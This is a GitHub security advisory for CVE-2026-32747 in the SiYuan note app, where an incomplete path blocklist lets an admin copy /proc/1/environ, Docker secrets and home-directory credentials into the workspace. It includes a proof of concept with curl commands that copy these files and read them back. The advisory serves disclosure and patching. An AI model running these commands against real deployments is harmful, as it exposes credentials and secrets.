GHSA-H5VH-M7FG-W5H6
Vulnerability from github – Published: 2026-03-16 18:46 – Updated: 2026-03-30 13:58Summary
POST /api/file/globalCopyFiles reads source files using filepath.Abs() with no workspace boundary check, relying solely on util.IsSensitivePath() whose blocklist omits /proc/, /run/secrets/, and home directory dotfiles. An admin can copy /proc/1/environ or Docker secrets into the workspace and read them via the standard file API.
Details
File: kernel/api/file.go - function globalCopyFiles
for i, src := range srcs {
absSrc, _ := filepath.Abs(src)
if util.IsSensitivePath(absSrc) {
return
}
srcs[i] = absSrc
}
destDir := filepath.Join(util.WorkspaceDir, destDir)
for _, src := range srcs {
dest := filepath.Join(destDir, filepath.Base(src))
filelock.Copy(src, dest) // copies unchecked sensitive file into workspace
}
IsSensitivePath blocklist (kernel/util/path.go):
prefixes := []string{"/etc/ssh", "/root", "/etc", "/var/lib/", "/."}
Not blocked - exploitable targets: | Path | Contains | |------|----------| | /proc/1/environ | All env vars: DATABASE_URL, AWS_ACCESS_KEY_ID, ANTHROPIC_API_KEY | | /run/secrets/* | Docker Swarm / Compose injected secrets | | /home/siyuan/.aws/credentials | AWS credentials (non-root user) | | /home/siyuan/.ssh/id_rsa | SSH private key (non-root user) | | /tmp/ | Temporary files including tokens |
PoC
Environment:
docker run -d --name siyuan -p 6806:6806 \
-v $(pwd)/workspace:/siyuan/workspace \
b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123
Exploit:
TOKEN="YOUR_ADMIN_TOKEN"
curl -s -X POST http://localhost:6806/api/file/globalCopyFiles \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d '{"srcs":["/proc/1/environ"],"destDir":"data/assets/"}'
curl -s -X POST http://localhost:6806/api/file/getFile \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d '{"path":"/data/assets/environ"}' | tr '\0' '\n'
Docker secrets:
curl -s -X POST http://localhost:6806/api/file/globalCopyFiles \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d '{"srcs":["/run/secrets/db_password","/run/secrets/api_token"],"destDir":"data/assets/"}'
Impact
An admin can exfiltrate any file readable by the SiYuan process that falls outside the incomplete blocklist. In containerized deployments this includes all injected secrets and environment variables - a common pattern for passing credentials to containers. The exfiltrated files are then accessible via the standard workspace file API and persist until manually deleted.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/siyuan-note/siyuan/kernel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.0.0-20260313024916-fd6526133bb3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32747"
],
"database_specific": {
"cwe_ids": [
"CWE-184",
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-16T18:46:14Z",
"nvd_published_at": "2026-03-19T21:17:10Z",
"severity": "MODERATE"
},
"details": "### Summary\nPOST /api/file/globalCopyFiles reads source files using filepath.Abs() with no workspace boundary check, relying solely on util.IsSensitivePath() whose blocklist omits /proc/, /run/secrets/, and home directory dotfiles. An admin can copy /proc/1/environ or Docker secrets into the workspace and read them via the standard file API.\n\n### Details\nFile: kernel/api/file.go - function globalCopyFiles\n\n```go\nfor i, src := range srcs {\n absSrc, _ := filepath.Abs(src)\n\n if util.IsSensitivePath(absSrc) {\n return\n }\n srcs[i] = absSrc\n}\ndestDir := filepath.Join(util.WorkspaceDir, destDir)\nfor _, src := range srcs {\n dest := filepath.Join(destDir, filepath.Base(src))\n filelock.Copy(src, dest) // copies unchecked sensitive file into workspace\n}\n```\n\nIsSensitivePath blocklist (kernel/util/path.go):\n```go\nprefixes := []string{\"/etc/ssh\", \"/root\", \"/etc\", \"/var/lib/\", \"/.\"}\n```\n\n**Not blocked - exploitable targets:**\n| Path | Contains |\n|------|----------|\n| /proc/1/environ | All env vars: DATABASE_URL, AWS_ACCESS_KEY_ID, ANTHROPIC_API_KEY |\n| /run/secrets/* | Docker Swarm / Compose injected secrets |\n| /home/siyuan/.aws/credentials | AWS credentials (non-root user) |\n| /home/siyuan/.ssh/id_rsa | SSH private key (non-root user) |\n| /tmp/ | Temporary files including tokens |\n\n### PoC\n**Environment:**\n```bash\ndocker run -d --name siyuan -p 6806:6806 \\\n -v $(pwd)/workspace:/siyuan/workspace \\\n b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123\n```\n\n**Exploit:**\n```bash\nTOKEN=\"YOUR_ADMIN_TOKEN\"\n\ncurl -s -X POST http://localhost:6806/api/file/globalCopyFiles \\\n -H \"Authorization: Token $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"srcs\":[\"/proc/1/environ\"],\"destDir\":\"data/assets/\"}\u0027\n\ncurl -s -X POST http://localhost:6806/api/file/getFile \\\n -H \"Authorization: Token $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"path\":\"/data/assets/environ\"}\u0027 | tr \u0027\\0\u0027 \u0027\\n\u0027\n```\n\n**Docker secrets:**\n```bash\ncurl -s -X POST http://localhost:6806/api/file/globalCopyFiles \\\n -H \"Authorization: Token $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"srcs\":[\"/run/secrets/db_password\",\"/run/secrets/api_token\"],\"destDir\":\"data/assets/\"}\u0027\n```\n\n### Impact\nAn admin can exfiltrate any file readable by the SiYuan process that falls outside the incomplete blocklist. In containerized deployments this includes all injected secrets and environment variables - a common pattern for passing credentials to containers. The exfiltrated files are then accessible via the standard workspace file API and persist until manually deleted.",
"id": "GHSA-h5vh-m7fg-w5h6",
"modified": "2026-03-30T13:58:13Z",
"published": "2026-03-16T18:46:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-h5vh-m7fg-w5h6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32747"
},
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/commit/9914fd1d39e5f0a8dcc9fb587e1c0b46f31490a1"
},
{
"type": "PACKAGE",
"url": "https://github.com/siyuan-note/siyuan"
},
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "SiYuan globalCopyFiles: incomplete sensitive path blocklist allows reading /proc and Docker secrets"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.